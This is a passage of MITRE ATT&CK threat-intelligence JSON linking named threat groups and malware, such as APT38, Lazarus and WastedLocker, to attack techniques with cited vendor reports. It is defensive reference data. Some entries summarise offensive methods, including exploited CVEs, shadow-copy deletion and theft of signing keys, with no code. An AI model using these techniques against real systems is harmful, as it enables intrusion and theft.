2018","url":"https://content.fireeye.com/apt/rpt-apt38","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."}],"modified":"2019-09-09T19:10:53.567Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used DYEPACK to create, delete, and alter records in databases used for SWIFT transactions.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e57d5424-fa14-4007-bad7-734a045b3879","type":"relationship","created":"2019-01-29T21:33:34.694Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BadPatch Oct 2017","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/","description":"Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."}],"modified":"2019-04-23T21:17:49.927Z","description":"[BadPatch](https://attack.mitre.org/software/S0337) uses port 26 for C2 communications.(Citation: Unit 42 BadPatch Oct 2017)","relationship_type":"uses","source_ref":"malware--9af05de0-bc09-4511-a350-5eb8b06185c1","target_ref":"attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aad8c4dc-db11-48b4-b294-f63ccde5e798","type":"relationship","created":"2017-05-31T21:33:27.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. 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Retrieved May 8, 2020."}],"modified":"2020-05-12T22:22:08.596Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has enumerated installed software on compromised systems.(Citation: Symantec Inception Framework March 2018)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--689b0bff-7eb4-4678-997b-64794c56add0","type":"relationship","created":"2020-09-22T20:17:38.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). 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Retrieved January 7, 2021."}],"modified":"2021-01-11T19:10:42.748Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can automatically archive collected data.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71f24c43-eec3-4800-8543-7cc9259825a3","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).","source_ref":"x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--af7d7ff9-c74e-48da-9e6d-029161746afd","created":"2021-05-05T17:56:59.097Z","x_mitre_version":"1.0","external_references":[{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. 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Retrieved May 5, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Tonto Team](https://attack.mitre.org/groups/G0131) has exploited Microsoft vulnerabilities, including CVE-2018-0798, CVE-2018-8174, CVE-2018-0802, CVE-2017-11882, CVE-2019-9489 CVE-2020-8468, and CVE-2018-0798 to enable execution of their delivered malicious payloads.(Citation: Kaspersky CactusPete Aug 2020)(Citation: TrendMicro Tonto Team October 2020)(Citation: Talos Bisonal Mar 2020)(Citation: Talos Bisonal 10 Years March 2020) ","modified":"2022-04-13T19:14:37.880Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc9ff40d-a9c6-4042-b4f5-922ca7a64536","type":"relationship","created":"2020-10-19T19:53:10.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NIST 800-63-3","url":"https://pages.nist.gov/800-63-3/sp800-63b.html","description":"Grassi, P., et al. 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Retrieved May 21, 2020."}],"modified":"2020-06-15T21:31:38.112Z","description":"[Pony](https://attack.mitre.org/software/S0453) has attempted to lure targets into clicking links in spoofed emails from legitimate banks.(Citation: Malwarebytes Pony April 2016)\t","relationship_type":"uses","source_ref":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c2cd95f-9c3a-4893-9a5f-960cfed62572","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/","description":"Lancaster, T.. (2017, November 14). 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Retrieved November 20, 2020."}],"modified":"2021-10-06T19:26:48.544Z","description":"[Machete](https://attack.mitre.org/groups/G0095) has relied on users opening malicious attachments delivered through spearphishing to execute malware.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--671a20b9-ad4c-468f-9871-be3545907dd2","type":"relationship","created":"2021-03-25T13:39:14.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Targeting Elections September 2020","url":"https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/","description":"Burt, T. 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Retrieved November 13, 2020."}],"modified":"2020-12-09T19:12:41.205Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can identify installed security tools based on window names.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d51dd51-8321-4ce2-8040-b827434888fb","type":"relationship","created":"2022-02-01T16:00:17.320Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Lazarus Jun 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf","description":"Breitenbacher, D and Osis, K. (2020, June 17). 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Retrieved December 20, 2021."}],"modified":"2022-02-01T16:00:17.320Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has acquired servers to host their malicious tools.(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5791055c-1a0c-460e-91cc-7d85278ce533","type":"relationship","created":"2021-10-11T19:34:23.364Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T19:34:23.364Z","description":"[Bandook](https://attack.mitre.org/software/S0234) has used .PNG images within a zip file to build the executable. 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Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.396Z","description":"[down_new](https://attack.mitre.org/software/S0472) has the ability to list running processes on a compromised host.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--8be7c69e-d8e3-4970-9668-61de08e508cc","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9bc7f2ff-7ba1-42f4-9e96-2112e99ab12a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. 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(2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018."},{"source_name":"Talos Agent Tesla Oct 2018","url":"https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html","description":"Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018."}],"modified":"2019-04-16T14:30:35.334Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has enabled TCP on port 587 for C2 communications.(Citation: Fortinet Agent Tesla April 2018)(Citation: Talos Agent Tesla Oct 2018)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3811b12a-fcfc-47d2-83ec-89df60ca4c21","type":"relationship","created":"2020-06-24T15:36:00.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T15:36:00.917Z","description":"[BBK](https://attack.mitre.org/software/S0470) can extract a malicious Portable Executable (PE) from a photo.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6e95c9e-0f7d-4611-a40a-95fd7ee9f206","type":"relationship","created":"2021-12-01T18:49:06.974Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. 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Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.235Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used a copy function to automatically exfiltrate sensitive data from air-gapped systems using USB storage.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d432f9c7-1211-4485-bac3-b35edc38d501","type":"relationship","created":"2020-07-04T23:30:04.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SecureWorks Mia Ash July 2017","description":"Counter Threat Unit Research Team. (2017, July 27). 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(2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."},{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."},{"source_name":"Sentinel Labs WastedLocker July 2020","url":"https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/","description":"Walter, J.. (2020, July 23). WastedLocker Ransomware: Abusing ADS and NTFS File Attributes. Retrieved September 14, 2021."}],"modified":"2021-09-14T20:47:33.574Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) can delete shadow volumes.(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020)(Citation: Sentinel Labs WastedLocker July 2020) ","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e45ac56-f9c8-4271-a3c8-1a618817945b","type":"relationship","created":"2021-10-13T22:50:48.724Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec WastedLocker June 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us","description":"Symantec Threat Intelligence. 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The Dukes: 7 years of Russian cyberespionage. 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(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--625ebfc0-7aaa-4eaf-8c49-be8b55c059d4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-03-29T19:54:46.094Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used network scanning and enumeration tools, including [Ping](https://attack.mitre.org/software/S0097).(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc443415-7c35-49ab-92a9-3d0cfa68c7b2","type":"relationship","created":"2021-03-17T16:14:44.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cybereason Nocturnus. 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Retrieved July 18, 2019.","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","source_name":"Cybereason Soft Cell June 2019"}],"modified":"2021-03-17T16:14:44.323Z","description":"(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"tool--b63970b7-ddfb-4aee-97b1-80d335e033a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e367a09-1d94-4ea4-984c-a592b769fffa","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. 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(2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019."},{"source_name":"District Court of NY APT10 Indictment December 2018","url":"https://www.justice.gov/opa/page/file/1122671/download","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. 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Retrieved June 16, 2020."}],"modified":"2020-08-31T15:06:48.148Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has deployed scripts on compromised systems that automatically scan for interesting documents.(Citation: ESET Gamaredon June 2020)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1567fbd3-5d2b-4040-a736-11f3d5e2139f","type":"relationship","created":"2020-05-06T03:23:03.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Silence Aug 2019","url":"https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf","description":"Group-IB. (2019, August). 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Retrieved December 22, 2020."}],"modified":"2020-12-23T13:37:53.541Z","description":"[DropBook](https://attack.mitre.org/software/S0547) can unarchive data downloaded from the C2 to obtain the payload and persistence modules.(Citation: Cybereason Molerats Dec 2020) ","relationship_type":"uses","source_ref":"malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d12d7d29-5616-4c87-9fd0-6375fc9c269d","created":"2022-04-15T14:33:08.877Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. 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Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Pandora](https://attack.mitre.org/software/S0664) can use CVE-2017-15303 to disable Windows Driver Signature Enforcement (DSE) protection and load its driver.(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-16T19:03:47.298Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","target_ref":"attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b31b258-d3e0-4acc-9c20-de870baa64a0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sofacy Komplex Trojan","description":"Dani Creus, Tyler Halfpop, Robert Falcone. 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Retrieved June 30, 2021."}],"modified":"2021-10-07T17:11:29.524Z","description":"[Chaes](https://attack.mitre.org/software/S0631) requires the user to click on the malicious Word document to execute the next part of the attack.(Citation: Cybereason Chaes Nov 2020) ","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--614b4bf0-8a57-401f-a018-8217146c27d2","type":"relationship","created":"2020-11-25T22:46:47.280Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. 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Retrieved March 30, 2021."}],"modified":"2021-04-13T00:50:31.596Z","description":"[Exaramel for Linux](https://attack.mitre.org/software/S0401) can execute commands with high privileges via a specific binary with setuid functionality.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--11194d8b-fdce-45d2-8047-df15bb8f16bd","target_ref":"attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cbc1b77-dd32-4d58-8933-56572e0b4803","type":"relationship","created":"2021-01-12T22:39:34.382Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft 365 Defender Solorigate","url":"https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/","description":"Microsoft 365 Defender Team. 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Retrieved January 7, 2021."}],"modified":"2021-01-12T22:39:34.382Z","description":"[UNC2452](https://attack.mitre.org/groups/G0118) obtained the private encryption key from an Active Directory Federation Services (AD FS) container to decrypt corresponding SAML signing certificates.(Citation: Microsoft 365 Defender Solorigate)","relationship_type":"uses","source_ref":"intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--251c7f06-a012-4fe1-9520-21f051a47255","type":"relationship","created":"2021-07-26T15:09:24.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB GrimAgent July 2021","url":"https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer","description":"Priego, A. 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Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) has been install via template injection through a malicious DLL embedded within a template RTF in a Word document.(Citation: Uptycs Confucius APT Jan 2021)","modified":"2022-04-07T18:28:15.795Z","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--732d754a-b02d-4ec6-8ba2-364c3a8510de","type":"relationship","created":"2021-08-18T20:30:58.025Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department.. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:11.607Z","description":"(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7c73e018-a001-4de1-a607-3add2242bd73","created":"2022-03-24T11:46:08.672Z","x_mitre_version":"1.0","external_references":[{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DRATzarus](https://attack.mitre.org/software/S0694) has been named `Flash.exe`, and its dropper has been named `IExplorer`.(Citation: ClearSky Lazarus Aug 2020)","modified":"2022-04-17T18:27:35.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33deb846-1334-4eb7-98fc-faff39b3ad16","type":"relationship","created":"2021-04-27T01:47:15.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-04-27T01:47:15.641Z","description":"[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to collect information from the local database.(Citation: ClearSky Lebanese Cedar Jan 2021) 